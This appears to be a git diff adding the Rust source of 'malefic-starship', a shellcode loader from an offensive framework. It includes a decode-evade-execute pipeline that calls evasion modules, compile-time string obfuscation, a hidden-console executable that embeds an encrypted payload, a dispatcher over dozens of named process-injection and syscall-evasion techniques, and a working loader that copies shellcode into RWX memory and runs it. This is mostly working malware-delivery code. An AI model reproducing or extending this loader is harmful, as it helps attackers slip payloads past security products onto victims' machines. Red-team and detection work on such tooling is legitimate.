feature = "enc_xor", + feature = "enc_uuid", + feature = "enc_mac", + feature = "enc_ipv4", + feature = "enc_base64", + feature = "enc_base45", + feature = "enc_base58", + feature = "enc_aes", + feature = "enc_aes2", + feature = "enc_des", + feature = "enc_chacha", + feature = "enc_rc4", + )) +} + +/// Execute shellcode using the compile-time-selected loader technique. +/// +/// # Safety +/// Executes arbitrary shellcode in the current process (or a remote process +/// identified by `target_pid`). +#[allow(unused_variables)] +pub unsafe fn execute_loader(shellcode: &Shellcode, target_pid: Option) -> Result<(), String> { + #[cfg(feature = "apc_nttestalert")] + { return crate::loaders::apc_nttestalert::execute(shellcode); } + #[cfg(feature = "sifu_cityhash")] + { return crate::loaders::sifu_cityhash::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "uuid_enum_locales")] + { return crate::loaders::uuid_enum_locales::execute(shellcode); } + #[cfg(feature = "remote_mockingjay")] + { return crate::loaders::remote_mockingjay::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "thread_hijack")] + { return crate::loaders::thread_hijack::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "func_ptr")] + { return crate::loaders::func_ptr::execute(shellcode); } + #[cfg(feature = "list_planting")] + { return crate::loaders::list_planting::execute(shellcode); } + #[cfg(feature = "dll_entrypoint_hijack")] + { return crate::loaders::dll_entrypoint_hijack::execute(shellcode); } + #[cfg(feature = "ninja_syscall")] + { return crate::loaders::ninja_syscall::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "sifu_syscall")] + { return crate::loaders::sifu_syscall::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "sifu_syscall_v2")] + { return crate::loaders::sifu_syscall_v2::execute(shellcode); } + #[cfg(feature = "basic_template")] + { return crate::loaders::basic_template::execute(shellcode); } + #[cfg(feature = "nt_api_remote")] + { return crate::loaders::nt_api_remote::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "userland_api")] + { return crate::loaders::userland_api::execute(shellcode, target_pid); } + #[cfg(feature = "apc_write")] + { return crate::loaders::apc_write::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "enum_fonts")] + { return crate::loaders::enum_fonts::execute(shellcode); } + #[cfg(feature = "dll_overload")] + { return crate::loaders::dll_overload::execute(shellcode); } + #[cfg(feature = "dll_overload_apc")] + { return crate::loaders::dll_overload_apc::execute(shellcode); } + #[cfg(feature = "veh_indirect_syscall")] + { return crate::loaders::veh_indirect_syscall::execute(shellcode); } + #[cfg(feature = "apc_dll_overload")] + { return crate::loaders::apc_dll_overload::execute(shellcode); } + #[cfg(feature = "nt_api_dynamic")] + { return crate::loaders::nt_api_dynamic::execute(shellcode); } + #[cfg(feature = "apc_dll_overload_peb")] + { return crate::loaders::apc_dll_overload_peb::execute(shellcode); } + #[cfg(feature = "apc_dll_overload_v2")] + { return crate::loaders::apc_dll_overload_v2::execute(shellcode); } + #[cfg(feature = "apc_ex2")] + { return crate::loaders::apc_ex2::execute(shellcode); } + #[cfg(feature = "halos_gate")] + { return crate::loaders::halos_gate::execute(shellcode); } + #[cfg(feature = "indirect_syscall")] + { return crate::loaders::indirect_syscall::execute(shellcode); } + #[cfg(feature = "direct_syscall")] + { return crate::loaders::direct_syscall::execute(shellcode); } + #[cfg(feature = "mac_enum_locales")] + { return crate::loaders::mac_enum_locales::execute(shellcode); } + #[cfg(feature = "apc_protect")] + { return crate::loaders::apc_protect::execute(shellcode); } + #[cfg(feature = "indirect_syscall_halo_stack")] + { return crate::loaders::indirect_syscall_halo_stack::execute(shellcode, target_pid); } + #[cfg(feature = "edr_sps_v1")] + { return crate::loaders::edr_sps_v1::execute(shellcode); } + #[cfg(feature = "edr_sps_v2_halo")] + { return crate::loaders::edr_sps_v2_halo::execute(shellcode); } + #[cfg(feature = "phantom_dll_apc")] + { return crate::loaders::phantom_dll_apc::execute(shellcode); } + #[cfg(feature = "threadless_apc")] + { return crate::loaders::threadless_apc::execute(shellcode); } + #[cfg(feature = "tls_callback")] + { return crate::loaders::tls_callback::execute(shellcode); } + #[cfg(feature = "threadpool_work")] + { return crate::loaders::threadpool_work::execute(shellcode); } + #[cfg(feature = "dll_notification")] + { return crate::loaders::dll_notification::execute(shellcode); } + #[cfg(feature = "jump_code_peb")] + { return crate::loaders::jump_code_peb::execute(shellcode); } + #[cfg(feature = "fiber_exec")] + { return crate::loaders::fiber_exec::execute(shellcode); } + #[cfg(feature = "atexit_callback")] + { return crate::loaders::atexit_callback::execute(shellcode); } + #[cfg(feature = "hwbp_exec")] + { return crate::loaders::hwbp_exec::execute(shellcode); } + #[cfg(feature = "hwbp_xor")] + { return crate::loaders::hwbp_xor::execute(shellcode); } + #[cfg(feature = "woodpecker")] + { return crate::loaders::woodpecker::execute(shellcode); } + #[cfg(feature = "rtl_thread_hook")] + { return crate::loaders::rtl_thread_hook::execute(shellcode); } + #[cfg(feature = "rop_trampoline")] + { return crate::loaders::rop_trampoline::execute(shellcode); } + #[cfg(feature = "phantom_dll_indirect")] + { return crate::loaders::phantom_dll_indirect::execute(shellcode); } + #[cfg(feature = "rc4_variant")] + { return crate::loaders::rc4_variant::execute(shellcode); } + #[cfg(feature = "veh_rop")] + { return crate::loaders::veh_rop::execute(shellcode); } + #[cfg(feature = "exception_debug")] + { return crate::loaders::exception_debug::execute(shellcode); } + #[cfg(feature = "veh_vch")] + { return crate::loaders::veh_vch::execute(shellcode); } + #[cfg(feature = "remote_thread_self")] + { return crate::loaders::remote_thread_self::execute(shellcode); } + #[cfg(feature = "vmt_hook")] + { return crate::loaders::vmt_hook::execute(shellcode); } + #[cfg(feature = "vmt_trampoline")] + { return crate::loaders::vmt_trampoline::execute(shellcode); } + #[cfg(feature = "veh_debug_reg")] + { return crate::loaders::veh_debug_reg::execute(shellcode); } + #[cfg(feature = "vt_ptr_redirect")] + { return crate::loaders::vt_ptr_redirect::execute(shellcode); } + #[cfg(feature = "callback_final")] + { return crate::loaders::callback_final::execute(shellcode); } + + #[cfg(feature = "pool_party_v1_worker_factory")] + { return crate::loaders::pool_party_v1_worker_factory::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v2_tp_work")] + { return crate::loaders::pool_party_v2_tp_work::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v3_tp_wait")] + { return crate::loaders::pool_party_v3_tp_wait::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v4_tp_io")] + { return crate::loaders::pool_party_v4_tp_io::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v5_tp_alpc")] + { return crate::loaders::pool_party_v5_tp_alpc::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v6_tp_job")] + { return crate::loaders::pool_party_v6_tp_job::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v7_tp_direct")] + { return crate::loaders::pool_party_v7_tp_direct::execute(shellcode, target_pid.unwrap_or(0)); } + #[cfg(feature = "pool_party_v8_tp_timer")] + { return crate::loaders::pool_party_v8_tp_timer::execute(shellcode, target_pid.unwrap_or(0)); } + + #[allow(unreachable_code)] + Err("No loader feature enabled. Use --features ".to_string()) +} + +/// One-shot pipeline: decode → evade → execute. +/// +/// Pass raw (possibly encoded) shellcode bytes. If an encoding feature is +/// enabled, `key` and `extra` are used for decoding; otherwise they are +/// ignored and can be `None`. +/// +/// # Safety +/// Executes arbitrary shellcode. See [`execute_loader`] for details. +pub unsafe fn run( + shellcode_data: Vec, + key: Option<&[u8]>, + extra: Option<&[u8]>, + target_pid: Option, +) -> Result<(), String> { + // Stage 1: Decode + let decoded = if has_encoding() { + let k = key.unwrap_or(&[]); + let e = extra.unwrap_or(&[]); + decode_payload(&shellcode_data, k, e) + } else { + shellcode_data + }; + + let shellcode = Shellcode::new(decoded); + + // Stage 2: Run evasion modules + malefic_evader::run_evaders(); + + // Stage 3: Execute + execute_loader(&shellcode, target_pid) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::io::Write; + + #[test] + fn shellcode_new_and_accessors() { + let data = vec![0x90, 0x90, 0xCC]; + let sc = Shellcode::new(data.clone()); + assert_eq!(sc.len(), 3); + assert!(!sc.is_empty()); + assert_eq!(sc.as_slice(), &data[..]); + assert_eq!(unsafe { *sc.as_ptr() }, 0x90); + } + + #[test] + fn shellcode_from_slice() { + let buf = [0xCC; 8]; + let sc = Shellcode::from_slice(&buf); + assert_eq!(sc.len(), 8); + assert_eq!(sc.as_slice(), &buf); + } + + #[test] + fn shellcode_empty() { + let sc = Shellcode::new(vec![]); + assert!(sc.is_empty()); + assert_eq!(sc.len(), 0); + } + + #[test] + fn load_shellcode_from_file() { + let dir = std::env::temp_dir(); + let path = dir.join("starship_sdk_test_payload.bin"); + { + let mut f = std::fs::File::create(&path).unwrap(); + f.write_all(&[0x41, 0x42, 0x43]).unwrap(); + } + let sc = load_shellcode(path.to_str().unwrap()).unwrap(); + assert_eq!(sc.as_slice(), &[0x41, 0x42, 0x43]); + std::fs::remove_file(&path).ok(); + } + + #[test] + fn load_shellcode_missing_file() { + let result = load_shellcode("__nonexistent_file_starship_sdk__"); + assert!(result.is_err()); + match result { + Err(e) => assert!(e.contains("Failed to read")), + Ok(_) => panic!("expected error"), + } + } + + #[test] + fn decode_payload_passthrough() { + let raw = vec![0xDE, 0xAD, 0xBE, 0xEF]; + let out = decode_payload(&raw, &[], &[]); + assert_eq!(out, raw); + } + + #[test] + fn decode_payload_passthrough_with_key() { + let raw = vec![1, 2, 3, 4, 5]; + let key = vec![0xFF; 16]; + let extra = vec![0xAA; 8]; + let out = decode_payload(&raw, &key, &extra); + assert_eq!(out, raw); + } + + #[test] + fn has_encoding_reflects_features() { + let expected = cfg!(any( + feature = "enc_xor", + feature = "enc_uuid", + feature = "enc_mac", + feature = "enc_ipv4", + feature = "enc_base64", + feature = "enc_base45", + feature = "enc_base58", + feature = "enc_aes", + feature = "enc_aes2", + feature = "enc_des", + feature = "enc_chacha", + feature = "enc_rc4", + )); + assert_eq!(has_encoding(), expected); + } + + #[test] + fn execute_loader_no_feature_returns_err() { + if !cfg!(any( + feature = "func_ptr", + feature = "apc_nttestalert", + feature = "basic_template", + )) { + let sc = Shellcode::new(vec![0xCC]); + let result = unsafe { execute_loader(&sc, None) }; + assert!(result.is_err()); + assert!(result.unwrap_err().contains("No loader feature enabled")); + } + } + + #[test] + fn loader_names_is_populated() { + assert_eq!(crate::LOADER_NAMES.len(), 64); + } + + #[test] + fn loader_names_no_duplicates() { + let mut seen = std::collections::HashSet::new(); + for name in crate::LOADER_NAMES { + assert!(seen.insert(name), "Duplicate loader name: {}", name); + } + } + + #[test] + fn random_loader_in_list() { + let name = crate::random_loader(); + assert!( + crate::LOADER_NAMES.contains(&name), + "random_loader() returned '{}' not in LOADER_NAMES", + name, + ); + } + + #[test] + fn types_module_accessible() { + assert_eq!(crate::types::MEM_COMMIT, 0x1000); + assert_eq!(crate::types::PAGE_EXECUTE_READWRITE, 0x40); + assert_eq!(crate::types::PROCESS_ALL_ACCESS, 0x001F0FFF); + } + + #[test] + fn run_no_loader_returns_err() { + if !cfg!(any( + feature = "func_ptr", + feature = "apc_nttestalert", + feature = "basic_template", + )) { + let result = unsafe { run(vec![0x90], None, None, None) }; + assert!(result.is_err()); + } + } +} diff --git a/malefic-starship/src/lib.rs b/malefic-starship/src/lib.rs new file mode 100644 index 0000000..6f8b9fd --- /dev/null +++ b/malefic-starship/src/lib.rs @@ -0,0 +1,77 @@ +//! Malefic Starship - Loader Templates +//! +//! Loader templates for various execution techniques. + +#![feature(naked_functions)] + +/// Debug print macro - only outputs when `debug` feature is enabled +#[macro_export] +macro_rules! debug_println { + ($($arg:tt)*) => { + #[cfg(feature = "debug")] + println!($($arg)*); + }; +} + +/// Obfuscate a byte string literal, returning `Vec`. +/// +/// When `obf_strings` is enabled: AES-encrypted at compile time, decrypted at runtime. +/// When disabled: pass-through `.to_vec()` (negligible for one-shot loader). +#[cfg(feature = "obf_strings")] +#[macro_export] +macro_rules! obf_cstr { + ($s:expr) => { + ::malefic_gateway::obf_bytes!($s) + }; +} + +#[cfg(not(feature = "obf_strings"))] +#[macro_export] +macro_rules! obf_cstr { + ($s:expr) => { + $s.to_vec() + }; +} + +pub use malefic_os_win::kit::binding; +pub mod obf; +#[cfg(feature = "obf_strings")] +pub use malefic_gateway; +pub mod types; +pub mod loaders; +pub mod decoder; +pub mod launch; + +pub use loaders::common::Shellcode; +pub use loaders::{LOADER_NAMES, random_loader}; + +#[cfg(test)] +mod tests { + #[test] + fn test_obf_cstr_produces_correct_bytes() { + let result = obf_cstr!(b"ntdll.dll\0"); + assert_eq!(result, b"ntdll.dll\0".to_vec()); + } + + #[test] + fn test_obf_cstr_empty() { + let result = obf_cstr!(b"\0"); + assert_eq!(result, b"\0".to_vec()); + } + + #[test] + fn test_obf_cstr_long_string() { + let result = obf_cstr!(b"NtAllocateVirtualMemory\0"); + assert_eq!(result, b"NtAllocateVirtualMemory\0".to_vec()); + assert_eq!(result.len(), 24); + } + + #[test] + fn test_obf_cstr_as_ptr_usable() { + let s = obf_cstr!(b"kernel32.dll\0"); + let ptr = s.as_ptr(); + assert!(!ptr.is_null()); + // Verify first byte + assert_eq!(unsafe { *ptr }, b'k'); + } +} diff --git a/malefic-starship/src/loaders/basic_template.rs b/malefic-starship/src/loaders/basic_template.rs new file mode 100644 index 0000000..b82517d --- /dev/null +++ b/malefic-starship/src/loaders/basic_template.rs @@ -0,0 +1,10 @@ +//! Loader Template 14 - Basic template (placeholder) + +use crate::loaders::common::Shellcode; + +#[cfg_attr(feature = "obf_junk", malefic_gateway::junk)] +pub unsafe fn execute(_shellcode: &Shellcode) -> Result<(), String> { + debug_println!("[*] Starting loader_14: Basic template"); + debug_println!("Good morning!"); + Ok(()) +} diff --git a/malefic-starship/src/loaders/common.rs b/malefic-starship/src/loaders/common.rs new file mode 100644 index 0000000..b8363fe --- /dev/null +++ b/malefic-starship/src/loaders/common.rs @@ -0,0 +1,137 @@ +//! Common types and utilities for loaders + +use crate::types::*; + +/// Shellcode wrapper type +pub struct Shellcode { + pub data: Vec, +} + +impl Shellcode { + pub fn new(data: Vec) -> Self { + Self { data } + } + + pub fn from_slice(data: &[u8]) -> Self { + Self { data: data.to_vec() } + } + + pub fn len(&self) -> usize { + self.data.len() + } + + pub fn is_empty(&self) -> bool { + self.data.is_empty() + } + + pub fn as_ptr(&self) -> *const u8 { + self.data.as_ptr() + } + + pub fn as_slice(&self) -> &[u8] { + &self.data + } + + #[cfg(feature = "obf_memory")] + pub fn zeroize(&mut self) { + malefic_gateway::secure::zeroize::secure_zeroize_vec(&mut self.data); + } +} + +#[cfg(feature = "obf_memory")] +impl Drop for Shellcode { + fn drop(&mut self) { + self.zeroize(); + } +} + +/// Allocate executable memory in current process +pub unsafe fn alloc_exec_memory(size: usize) -> Option<*mut std::ffi::c_void> { + let addr = crate::binding::MVirtualAlloc( + std::ptr::null_mut(), + size, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ); + if addr.is_null() { + None + } else { + Some(addr) + } +} + +/// Execute shellcode via function pointer +pub type ShellcodeFunc = unsafe extern "system" fn(); + +pub unsafe fn execute_via_func_ptr(addr: *const std::ffi::c_void) { + let func: ShellcodeFunc = std::mem::transmute(addr); + func(); +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_shellcode_new() { + let sc = Shellcode::new(vec![0x90, 0xCC, 0xC3]); + assert_eq!(sc.data, vec![0x90, 0xCC, 0xC3]); + } + + #[test] + fn test_shellcode_from_slice() { + let data: &[u8] = &[0x41, 0x42, 0x43]; + let sc = Shellcode::from_slice(data); + assert_eq!(sc.data, data); + } + + #[test] + fn test_shellcode_len() { + let sc = Shellcode::new(vec![1, 2, 3, 4, 5]); + assert_eq!(sc.len(), 5); + } + + #[test] + fn test_shellcode_is_empty() { + assert!(Shellcode::new(vec![]).is_empty()); + assert!(!Shellcode::new(vec![0x90]).is_empty()); + } + + #[test] + fn test_shellcode_as_ptr_not_null() { + let sc = Shellcode::new(vec![0xCC]); + assert!(!sc.as_ptr().is_null()); + } + + #[test] + fn test_shellcode_as_slice_roundtrip() { + let data = vec![0xDE, 0xAD, 0xBE, 0xEF]; + let sc = Shellcode::new(data.clone()); + assert_eq!(sc.as_slice(), &data[..]); + } + + #[test] + fn test_shellcode_empty_creation() { + let sc = Shellcode::new(vec![]); + assert_eq!(sc.len(), 0); + assert!(sc.is_empty()); + assert_eq!(sc.as_slice(), &[]); + } + + #[test] + fn test_shellcode_large_data() { + let data: Vec = (0..4096).map(|i| (i & 0xFF) as u8).collect(); + let sc = Shellcode::new(data.clone()); + assert_eq!(sc.len(), 4096); + assert_eq!(sc.as_slice(), &data[..]); + } + + #[test] + fn test_shellcode_from_slice_is_copy() { + let data: &[u8] = &[1, 2, 3]; + let sc = Shellcode::from_slice(data); + // Modifying original slice shouldn't affect shellcode (it's a copy) + assert_eq!(sc.as_slice(), data); + assert_ne!(sc.as_ptr(), data.as_ptr()); // different allocation + } +} diff --git a/malefic-starship/src/loaders/func_ptr.rs b/malefic-starship/src/loaders/func_ptr.rs new file mode 100644 index 0000000..ffde09a --- /dev/null +++ b/malefic-starship/src/loaders/func_ptr.rs @@ -0,0 +1,52 @@ +//! Loader Template 7 - Function pointer self-injection +//! +//! Simple shellcode execution via function pointer cast. +//! Allocates RWX memory, copies shellcode, and executes via function pointer. + +use crate::loaders::common::{Shellcode, alloc_exec_memory}; +use std::ptr; + +/// Execute shellcode via function pointer invocation +/// +/// # Safety +/// This function executes arbitrary code and is inherently unsafe. +#[cfg_attr(feature = "obf_junk", malefic_gateway::junk)] +pub unsafe fn execute(shellcode: &Shellcode) -> Result<(), String> { + debug_println!("[*] Starting loader_7: Function pointer self-injection"); + + let size = shellcode.len(); + + // Allocate executable memory + let addr = alloc_exec_memory(size) + .ok_or_else(|| format!("Failed to allocate memory"))?; + + debug_println!("[+] Allocated {} bytes at {:p}", size, addr); + + // Copy shellcode to allocated memory + ptr::copy_nonoverlapping( + shellcode.as_ptr(), + addr as *mut u8, + size, + ); + + debug_println!("[+] Shellcode copied to memory"); + + // Execute via function pointer + let func: unsafe extern "system" fn() = std::mem::transmute(addr); + debug_println!("[*] Executing shellcode..."); + func(); + + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_shellcode_struct() { + let data = vec![0x90, 0x90, 0xC3]; // NOP NOP RET + let sc = Shellcode::new(data); + assert_eq!(sc.len(), 3); + } +} diff --git a/malefic-starship/src/loaders/mod.rs b/malefic-starship/src/loaders/mod.rs new file mode 100644 index 0000000..4c7fb6d --- /dev/null +++ b/malefic-starship/src/loaders/mod.rs @@ -0,0 +1,25 @@ +//! Loader modules (Community Edition) + +pub mod common; + +#[cfg(feature = "basic_template")] +pub mod basic_template; + +#[cfg(feature = "func_ptr")] +pub mod func_ptr; + +/// All available loader names +pub const LOADER_NAMES: &[&str] = &[ + "basic_template", + "func_ptr", +]; + +/// Get a random loader name +pub fn random_loader() -> &'static str { + use std::time::{SystemTime, UNIX_EPOCH}; + let seed = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() as usize; + LOADER_NAMES[seed % LOADER_NAMES.len()] +} diff --git a/malefic-starship/src/main.rs b/malefic-starship/src/main.rs new file mode 100644 index 0000000..f5d8054 --- /dev/null +++ b/malefic-starship/src/main.rs @@ -0,0 +1,70 @@ +//! Malefic Loader - Main entry point +//! Three-stage pipeline: Load → Decode → Execute + +#![windows_subsystem = "windows"] + +use malefic_starship::Shellcode; +use malefic_starship::launch::{load_shellcode, decode_payload, has_encoding, execute_loader}; +use std::env; + +/// Parse target PID from command line arguments (second or third arg depending on context) +fn get_target_pid(args: &[String]) -> Option { + // With embedded payload: starship.exe [pid] + // Without embedded payload: starship.exe [pid] + let pid_arg = if cfg!(feature = "embedded_payload") { + args.get(1) + } else { + args.get(2) + }; + pid_arg.and_then(|s| s.parse::().ok()) +} + +fn main() { + let args: Vec = env::args().collect(); + + // Stage 1: Load payload + let raw_data = if cfg!(feature = "embedded_payload") { + // Embedded payload from generated/ directory + let enc = include_bytes!("../generated/payload.enc"); + if enc.is_empty() { + // Fallback to file argument if embedded payload is empty + if args.len() > 1 { + load_shellcode(&args[1]).unwrap_or_else(|e| { eprintln!("{}", e); std::process::exit(1); }) + } else { + Shellcode::new(vec![0x90, 0x90, 0x90, 0xCC]) + } + } else { + Shellcode::new(enc.to_vec()) + } + } else if args.len() > 1 { + load_shellcode(&args[1]).unwrap_or_else(|e| { eprintln!("{}", e); std::process::exit(1); }) + } else { + Shellcode::new(vec![0x90, 0x90, 0x90, 0xCC]) + }; + + // Stage 2: Decode payload (if encoding feature enabled) + let shellcode = if has_encoding() { + let key = include_bytes!("../generated/payload.key"); + let extra = include_bytes!("../generated/payload.extra"); + let decoded = decode_payload(&raw_data.data, key, extra); + Shellcode::new(decoded) + } else { + raw_data + }; + + // Stage 2.5: Run evasion modules (before payload execution) + malefic_evader::run_evaders(); + + // Stage 3: Execute + let target_pid = get_target_pid(&args); + let result = unsafe { execute_loader(&shellcode, target_pid) }; + + // Stage 4: Secure cleanup — zeroize shellcode from memory + #[cfg(feature = "obf_memory")] + drop(shellcode); + + match result { + Ok(()) => {} + Err(e) => { eprintln!("[-] {}", e); std::process::exit(1); } + } +} diff --git a/malefic-starship/src/obf.rs b/malefic-starship/src/obf.rs new file mode 100644 index 0000000..b2c903e --- /dev/null +++ b/malefic-starship/src/obf.rs @@ -0,0 +1,8 @@ +//! Bridge macros for compile-time string obfuscation. +//! +//! The `obf_cstr!` macro is defined in `lib.rs` (via `#[macro_export]`) so +//! it is available in every module of the crate without import. +//! +//! When `obf_strings` feature is enabled, strings are AES-encrypted at compile +//! time and decrypted at runtime. When disabled, strings pass through as-is +//! with a `.to_vec()` allocation (negligible for a one-shot loader). diff --git a/malefic-starship/src/types.rs b/malefic-starship/src/types.rs new file mode 100644 index 0000000..d09992a --- /dev/null +++ b/malefic-starship/src/types.rs @@ -0,0 +1,404 @@ +//! Windows type definitions and constants for loaders +//! +//! Centralizes all Windows constants and struct definitions +//! so individual loaders don't need the `windows` crate. + +use core::ffi::c_void; + +// ============================================================ +// Memory management constants +// ============================================================ +pub const MEM_COMMIT: u32 = 0x1000; +pub const MEM_RESERVE: u32 = 0x2000; +pub const MEM_RELEASE: u32 = 0x8000; +pub const MEM_PRIVATE: u32 = 0x20000; + +pub const PAGE_NOACCESS: u32 = 0x01; +pub const PAGE_READWRITE: u32 = 0x04; +pub const PAGE_EXECUTE_READ: u32 = 0x20; +pub const PAGE_EXECUTE_READWRITE: u32 = 0x40; + +// ============================================================ +// Process / thread access rights +// ============================================================ +pub const PROCESS_ALL_ACCESS: u32 = 0x001F0FFF; +pub const THREAD_ALL_ACCESS: u32 = 0x001F03FF; + +// ============================================================ +// Thread creation flags +// ============================================================ +pub const CREATE_SUSPENDED: u32 = 0x00000004; +pub const CREATE_NO_WINDOW: u32 = 0x08000000; + +// ============================================================ +// Wait / synchronisation +// ============================================================ +pub const INFINITE: u32 = 0xFFFFFFFF; +pub const WAIT_TIMEOUT: u32 = 258; + +// ============================================================ +// Toolhelp snapshot flags +// ============================================================ +pub const TH32CS_SNAPTHREAD: u32 = 0x00000004; +pub const TH32CS_SNAPPROCESS: u32 = 0x00000002; + +// ============================================================ +// File I/O constants +// ============================================================ +pub const FILE_GENERIC_READ: u32 = 0x00120089; +pub const FILE_SHARE_READ: u32 = 0x00000001; +pub const OPEN_EXISTING: u32 = 3; +pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x00000080; +pub const INVALID_HANDLE_VALUE: *mut c_void = -1isize as *mut c_void; + +// ============================================================ +// Exception / debug constants +// ============================================================ +pub const CONTEXT_DEBUG_REGISTERS: u32 = 0x00010010; +pub const CONTEXT_FULL: u32 = 0x0010001F; +pub const CONTEXT_ALL: u32 = 0x0010003F; +pub const EXCEPTION_SINGLE_STEP: u32 = 0x80000004; +pub const EXCEPTION_CONTINUE_EXECUTION: i32 = -1; +pub const EXCEPTION_CONTINUE_SEARCH: i32 = 0; + +// ============================================================ +// UI / message constants +// ============================================================ +pub const LVM_SORTITEMS: u32 = 0x1030; + +// ============================================================ +// Structures +// ============================================================ + +#[repr(C)] +pub struct THREADENTRY32 { + pub dwSize: u32, + pub cntUsage: u32, + pub th32ThreadID: u32, + pub th32OwnerProcessID: u32, + pub tpBasePri: i32, + pub tpDeltaPri: i32, + pub dwFlags: u32, +} + +#[repr(C)] +pub struct STARTUPINFOA { + pub cb: u32, + pub lpReserved: *mut u8, + pub lpDesktop: *mut u8, + pub lpTitle: *mut u8, + pub dwX: u32, + pub dwY: u32, + pub dwXSize: u32, + pub dwYSize: u32, + pub dwXCountChars: u32, + pub dwYCountChars: u32, + pub dwFillAttribute: u32, + pub dwFlags: u32, + pub wShowWindow: u16, + pub cbReserved2: u16, + pub lpReserved2: *mut u8, + pub hStdInput: *mut c_void, + pub hStdOutput: *mut c_void, + pub hStdError: *mut c_void, +} + +#[repr(C)] +pub struct PROCESS_INFORMATION { + pub hProcess: *mut c_void, + pub hThread: *mut c_void, + pub dwProcessId: u32, + pub dwThreadId: u32, +} + +#[repr(C)] +pub struct SECURITY_ATTRIBUTES { + pub nLength: u32, + pub lpSecurityDescriptor: *mut c_void, + pub bInheritHandle: i32, +} + +/// CONTEXT struct (x86_64) — only the fields commonly used by loaders. +/// Full CONTEXT is 1232 bytes on x86_64; we use a byte-array for the rest. +#[cfg(target_arch = "x86_64")] +#[repr(C, align(16))] +pub struct CONTEXT { + pub data: [u8; 1232], +} + +#[cfg(target_arch = "x86_64")] +impl CONTEXT { + pub fn new() -> Self { + Self { data: [0u8; 1232] } + } + + /// ContextFlags at offset 0x30 + pub fn context_flags(&self) -> u32 { + u32::from_ne_bytes(self.data[0x30..0x34].try_into().unwrap()) + } + pub fn set_context_flags(&mut self, flags: u32) { + self.data[0x30..0x34].copy_from_slice(&flags.to_ne_bytes()); + } + + /// Rip at offset 0xF8 + pub fn rip(&self) -> u64 { + u64::from_ne_bytes(self.data[0xF8..0x100].try_into().unwrap()) + } + pub fn set_rip(&mut self, val: u64) { + self.data[0xF8..0x100].copy_from_slice(&val.to_ne_bytes()); + } + + /// Rsp at offset 0x98 + pub fn rsp(&self) -> u64 { + u64::from_ne_bytes(self.data[0x98..0xA0].try_into().unwrap()) + } + pub fn set_rsp(&mut self, val: u64) { + self.data[0x98..0xA0].copy_from_slice(&val.to_ne_bytes()); + } + + /// Dr0-Dr3 at offsets 0x48, 0x50, 0x58, 0x60 + pub fn dr(&self, idx: usize) -> u64 { + let off = 0x48 + idx * 8; + u64::from_ne_bytes(self.data[off..off + 8].try_into().unwrap()) + } + pub fn set_dr(&mut self, idx: usize, val: u64) { + let off = 0x48 + idx * 8; + self.data[off..off + 8].copy_from_slice(&val.to_ne_bytes()); + } + + /// Dr6 at offset 0x68 + pub fn dr6(&self) -> u64 { + u64::from_ne_bytes(self.data[0x68..0x70].try_into().unwrap()) + } + pub fn set_dr6(&mut self, val: u64) { + self.data[0x68..0x70].copy_from_slice(&val.to_ne_bytes()); + } + + /// Dr7 at offset 0x70 + pub fn dr7(&self) -> u64 { + u64::from_ne_bytes(self.data[0x70..0x78].try_into().unwrap()) + } + pub fn set_dr7(&mut self, val: u64) { + self.data[0x70..0x78].copy_from_slice(&val.to_ne_bytes()); + } +} + +#[cfg(target_arch = "x86")] +#[repr(C)] +pub struct CONTEXT { + pub data: [u8; 716], +} + +#[cfg(target_arch = "x86")] +impl CONTEXT { + pub fn new() -> Self { + Self { data: [0u8; 716] } + } + + pub fn context_flags(&self) -> u32 { + u32::from_ne_bytes(self.data[0x00..0x04].try_into().unwrap()) + } + pub fn set_context_flags(&mut self, flags: u32) { + self.data[0x00..0x04].copy_from_slice(&flags.to_ne_bytes()); + } + + /// Eip at offset 0xB8 + pub fn eip(&self) -> u32 { + u32::from_ne_bytes(self.data[0xB8..0xBC].try_into().unwrap()) + } + pub fn set_eip(&mut self, val: u32) { + self.data[0xB8..0xBC].copy_from_slice(&val.to_ne_bytes()); + } +} + +/// EXCEPTION_POINTERS (used by VEH callbacks) +#[repr(C)] +pub struct EXCEPTION_POINTERS { + pub ExceptionRecord: *mut EXCEPTION_RECORD, + pub ContextRecord: *mut CONTEXT, +} + +#[repr(C)] +pub struct EXCEPTION_RECORD { + pub ExceptionCode: u32, + pub ExceptionFlags: u32, + pub ExceptionRecord: *mut EXCEPTION_RECORD, + pub ExceptionAddress: *mut c_void, + pub NumberParameters: u32, + pub ExceptionInformation: [usize; 15], +} + +/// MEMORY_BASIC_INFORMATION (used by VirtualQuery) +#[repr(C)] +pub struct MEMORY_BASIC_INFORMATION { + pub BaseAddress: *mut c_void, + pub AllocationBase: *mut c_void, + pub AllocationProtect: u32, + #[cfg(target_arch = "x86_64")] + pub PartitionId: u16, + pub RegionSize: usize, + pub State: u32, + pub Protect: u32, + pub Type: u32, +} + +#[cfg(test)] +mod tests { + use super::*; + use core::mem::size_of; + + // ── Constant value tests ─────────────────────────────────────────────── + #[test] + fn test_memory_constants() { + assert_eq!(MEM_COMMIT, 0x1000); + assert_eq!(MEM_RESERVE, 0x2000); + assert_eq!(MEM_RELEASE, 0x8000); + assert_eq!(MEM_PRIVATE, 0x20000); + } + + #[test] + fn test_page_protection_constants() { + assert_eq!(PAGE_NOACCESS, 0x01); + assert_eq!(PAGE_READWRITE, 0x04); + assert_eq!(PAGE_EXECUTE_READ, 0x20); + assert_eq!(PAGE_EXECUTE_READWRITE, 0x40); + } + + 